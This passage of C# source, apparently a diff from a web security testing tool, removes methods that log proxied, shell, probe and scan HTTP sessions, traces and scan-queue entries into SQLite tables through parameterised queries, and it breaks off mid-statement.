AsInt((ResArr[1].SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", ResArr[1].StoredHeadersString); - if (ResArr[1].IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", ResArr[1].StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", ResArr[1].BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(ResArr[1].IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", ResArr[1].ID); - - if (ResArr[0] == null) - { - Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", ""); - Cmd.Parameters.AddWithValue("@OriginalResponseBody", ""); - Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", 0); - Cmd.Parameters.AddWithValue("@RoundTrip", ResArr[1].RoundTrip); - } - else - { - Cmd.Parameters.AddWithValue("@OriginalResponseHeaders", ResArr[0].StoredHeadersString); - if (ResArr[0].IsBinary) - Cmd.Parameters.AddWithValue("@OriginalResponseBody", ResArr[0].StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@OriginalResponseBody", ResArr[0].BodyString); - Cmd.Parameters.AddWithValue("@BinaryOriginalResponse", AsInt(ResArr[0].IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", ResArr[0].RoundTrip); - } - - Cmd.ExecuteNonQuery(); - } - - foreach (Response[] ResArr in ResponseArrs) - { - if (ResArr[0] != null) - { - Cmd.CommandText = "UPDATE ProxyLog SET Edited=@Edited WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Edited", 1); - Cmd.Parameters.AddWithValue("@ID", ResArr[0].ID); - Cmd.ExecuteNonQuery(); - } - } - } - InsertLogs.Commit(); - } - } - } - - internal static void LogShellMessages(List IronSessions, List Requests, List Responses) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + ShellLogFile)) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - //Insert Request/Response in to DB - foreach (Session IrSe in IronSessions) - { - Cmd.CommandText = "INSERT INTO ShellLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); - Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); - Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); - Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); - Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); - if (IrSe.Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); - Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); - Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); - - //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); - if (IrSe.Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in Requests) - { - Cmd.CommandText = "INSERT INTO ShellLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Req.Host); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.URL); - Cmd.Parameters.AddWithValue("@File", Req.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in Responses) - { - Cmd.CommandText = "UPDATE ShellLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Res.Code); - Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void LogProbeMessages(List IronSessions, List Requests, List Responses) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + ProbeLogFile)) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - //Insert Request/Response in to DB - foreach (Session IrSe in IronSessions) - { - Cmd.CommandText = "INSERT INTO ProbeLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); - Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); - Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); - Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); - Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); - if (IrSe.Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); - Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); - Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); - - //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); - if (IrSe.Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in Requests) - { - Cmd.CommandText = "INSERT INTO ProbeLog (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Req.Host); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.URL); - Cmd.Parameters.AddWithValue("@File", Req.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in Responses) - { - Cmd.CommandText = "UPDATE ProbeLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Res.Code); - Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void LogScanMessages(List IronSessions, List Requests, List Responses) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + ScanLogFile)) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - //Insert Request/Response in to DB - foreach (Session IrSe in IronSessions) - { - Cmd.CommandText = "INSERT INTO ScanLog (ID , ScanID, SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @ScanID, @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); - Cmd.Parameters.AddWithValue("@ScanID", IrSe.Request.ScanID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); - Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); - Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); - Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); - Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); - if (IrSe.Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); - Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); - Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); - if (IrSe.Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); - Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in Requests) - { - Cmd.CommandText = "INSERT INTO ScanLog (ID , ScanID, SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @ScanID, @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - Cmd.Parameters.AddWithValue("@ScanID", Req.ScanID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Req.Host); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.URL); - Cmd.Parameters.AddWithValue("@File", Req.File); - Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in Responses) - { - Cmd.CommandText = "UPDATE ScanLog SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Res.Code); - Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void LogOtherSourceMessages(List IronSessions, List Requests, List Responses, string Source) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + GetOtherSourceLogFileName(Source))) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - Cmd.CommandText = "CREATE TABLE IF NOT EXISTS Log (ID INT PRIMARY KEY, SSL INT, HostName TEXT, Method TEXT, URL TEXT, File TEXT, Parameters TEXT, RequestHeaders TEXT, RequestBody TEXT, BinaryRequest INT, Code INT, Length INT, MIME TEXT, SetCookie INT, ResponseHeaders TEXT, ResponseBody TEXT, BinaryResponse INT, RoundTrip INT, Notes TEXT)"; - Cmd.ExecuteNonQuery(); - - //Insert Request/Response in to DB - foreach (Session IrSe in IronSessions) - { - Cmd.CommandText = "INSERT INTO Log (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Code, Length, MIME, SetCookie, ResponseHeaders, ResponseBody, BinaryResponse, RoundTrip, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Code, @Length, @MIME, @SetCookie, @ResponseHeaders, @ResponseBody, @BinaryResponse, @RoundTrip, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", IrSe.Request.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(IrSe.Request.SSL)); - Cmd.Parameters.AddWithValue("@HostName", IrSe.Request.Host); - Cmd.Parameters.AddWithValue("@Method", IrSe.Request.Method); - Cmd.Parameters.AddWithValue("@URL", IrSe.Request.URL); - Cmd.Parameters.AddWithValue("@File", IrSe.Request.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", IrSe.Request.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", IrSe.Request.StoredHeadersString); - if (IrSe.Request.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", IrSe.Request.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(IrSe.Request.IsBinary)); - Cmd.Parameters.AddWithValue("@Code", IrSe.Response.Code); - Cmd.Parameters.AddWithValue("@Length", IrSe.Response.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", IrSe.Response.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((IrSe.Response.SetCookies.Count > 0))); - - //Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", IrSe.Response.StoredHeadersString); - if (IrSe.Response.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", IrSe.Response.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(IrSe.Response.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", IrSe.Response.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Request Req in Requests) - { - Cmd.CommandText = "INSERT INTO Log (ID , SSL, HostName, Method, URL, File, Parameters, RequestHeaders, RequestBody, BinaryRequest, Notes) VALUES (@ID , @SSL, @HostName, @Method, @URL, @File, @Parameters, @RequestHeaders, @RequestBody, @BinaryRequest, @Notes)"; - Cmd.Parameters.AddWithValue("@ID", Req.ID); - Cmd.Parameters.AddWithValue("@SSL", AsInt(Req.SSL)); - Cmd.Parameters.AddWithValue("@HostName", Req.Host); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.URL); - Cmd.Parameters.AddWithValue("@File", Req.StoredFile); - Cmd.Parameters.AddWithValue("@Parameters", Req.StoredParameters); - //Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsStringWithoutFullURL()); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.StoredHeadersString); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - //Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.ExecuteNonQuery(); - } - foreach (Response Res in Responses) - { - Cmd.CommandText = "UPDATE Log SET Code=@Code, Length=@Length, MIME=@MIME, SetCookie=@SetCookie, ResponseHeaders=@ResponseHeaders, ResponseBody=@ResponseBody, BinaryResponse=@BinaryResponse, RoundTrip=@RoundTrip, Notes=@Notes WHERE ID=@ID"; - Cmd.Parameters.AddWithValue("@Code", Res.Code); - Cmd.Parameters.AddWithValue("@Length", Res.BodyLength); - Cmd.Parameters.AddWithValue("@MIME", Res.ContentType); - Cmd.Parameters.AddWithValue("@SetCookie", AsInt((Res.SetCookies.Count > 0))); - //Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.GetHeadersAsString()); - Cmd.Parameters.AddWithValue("@ResponseHeaders", Res.StoredHeadersString); - if (Res.IsBinary) - Cmd.Parameters.AddWithValue("@ResponseBody", Res.StoredBinaryBodyString); - else - Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - //Cmd.Parameters.AddWithValue("@ResponseBody", Res.BodyString); - Cmd.Parameters.AddWithValue("@BinaryResponse", AsInt(Res.IsBinary)); - Cmd.Parameters.AddWithValue("@RoundTrip", Res.RoundTrip); - Cmd.Parameters.AddWithValue("@Notes", "Some Notes"); - Cmd.Parameters.AddWithValue("@ID", Res.ID); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - #endregion - - #region LogTraces - internal static void LogTraces(List Traces) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + TraceLogFile)) - { - Log.Open(); - - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - foreach (IronTrace Trace in Traces) - { - Cmd.CommandText = "INSERT INTO Trace (ID, Time, Date, ThreadID, Source, Message) VALUES (@ID, @Time, @Date, @ThreadID, @Source, @Message)"; - Cmd.Parameters.AddWithValue("@ID", Trace.ID.ToString()); - Cmd.Parameters.AddWithValue("@Time", Trace.Time); - Cmd.Parameters.AddWithValue("@Date", Trace.Date); - Cmd.Parameters.AddWithValue("@ThreadID", Trace.ThreadID.ToString()); - Cmd.Parameters.AddWithValue("@Source", Trace.Source); - Cmd.Parameters.AddWithValue("@Message", Trace.Message); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void LogScanTraces(List Traces) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + TraceLogFile)) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - foreach (IronTrace Trace in Traces) - { - Cmd.CommandText = "INSERT INTO ScanTrace (ID, ScanID, PluginName, Section, Parameter, Title, Message, OverviewXml) VALUES (@ID, @ScanID, @PluginName, @Section, @Parameter, @Title, @Message, @OverviewXml)"; - Cmd.Parameters.AddWithValue("@ID", Trace.ID.ToString()); - Cmd.Parameters.AddWithValue("@ScanID", Trace.ScanID.ToString()); - Cmd.Parameters.AddWithValue("@PluginName", Trace.PluginName); - Cmd.Parameters.AddWithValue("@Section", Trace.Section); - Cmd.Parameters.AddWithValue("@Parameter", Trace.Parameter); - Cmd.Parameters.AddWithValue("@Title", Trace.Title); - Cmd.Parameters.AddWithValue("@Message", Trace.MessageXml); - Cmd.Parameters.AddWithValue("@OverviewXml", Trace.OverviewXml); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - - internal static void LogSessionPluginTraces(List Traces) - { - using(SQLiteConnection Log = new SQLiteConnection("data source=" + TraceLogFile)) - { - Log.Open(); - using (SQLiteTransaction Create = Log.BeginTransaction()) - { - using (SQLiteCommand Cmd = new SQLiteCommand(Log)) - { - foreach (IronTrace Trace in Traces) - { - Cmd.CommandText = "INSERT INTO SessionPluginTrace (ID, LogId, LogSource, PluginName, Action, Message) VALUES (@ID, @LogId, @LogSource, @PluginName, @Action, @Message)"; - Cmd.Parameters.AddWithValue("@ID", Trace.ID.ToString()); - Cmd.Parameters.AddWithValue("@LogId", Trace.LogId.ToString()); - Cmd.Parameters.AddWithValue("@LogSource", Trace.LogSource); - Cmd.Parameters.AddWithValue("@PluginName", Trace.SessionPluginName); - Cmd.Parameters.AddWithValue("@Action", Trace.Action); - Cmd.Parameters.AddWithValue("@Message", Trace.Message); - Cmd.ExecuteNonQuery(); - } - } - Create.Commit(); - } - } - } - #endregion - - #region Scanning - - internal static void CreateScan(int ScanID, Request Req) - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - using (SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "INSERT INTO ScanQueue (ScanID, RequestHeaders, RequestBody, BinaryRequest, Status, Method, URL) VALUES (@ScanID, @RequestHeaders, @RequestBody, @BinaryRequest, @Status, @Method, @URL)"; - Cmd.Parameters.AddWithValue("@ScanID", ScanID); - Cmd.Parameters.AddWithValue("@RequestHeaders", Req.GetHeadersAsString()); - if (Req.IsBinary) - Cmd.Parameters.AddWithValue("@RequestBody", Req.BinaryBodyString); - else - Cmd.Parameters.AddWithValue("@RequestBody", Req.BodyString); - Cmd.Parameters.AddWithValue("@BinaryRequest", AsInt(Req.IsBinary)); - Cmd.Parameters.AddWithValue("@Status", "Not Started"); - Cmd.Parameters.AddWithValue("@Method", Req.Method); - Cmd.Parameters.AddWithValue("@URL", Req.FullUrl); - Cmd.ExecuteNonQuery(); - } - } - //CreateScan(ScanID, Req, "Not Started", "", "", "", ""); - } - - internal static void UpdateScan(int ScanID, Request Req, string Status, string InjectionPoints, string FormatPlugin, string ScanPlugins, string SessionPlugin) - { - using(SQLiteConnection DB = new SQLiteConnection("data source=" + IronProjectFile)) - { - DB.Open(); - using(SQLiteCommand Cmd = DB.CreateCommand()) - { - Cmd.CommandText = "UPDATE ScanQueue SET RequestHeaders=@RequestHeaders, RequestBody=@RequestBody, BinaryRequest=@BinaryRequest, Status=@Status, Method=@Method, URL=@URL, SessionPlugin=@SessionPlugin, 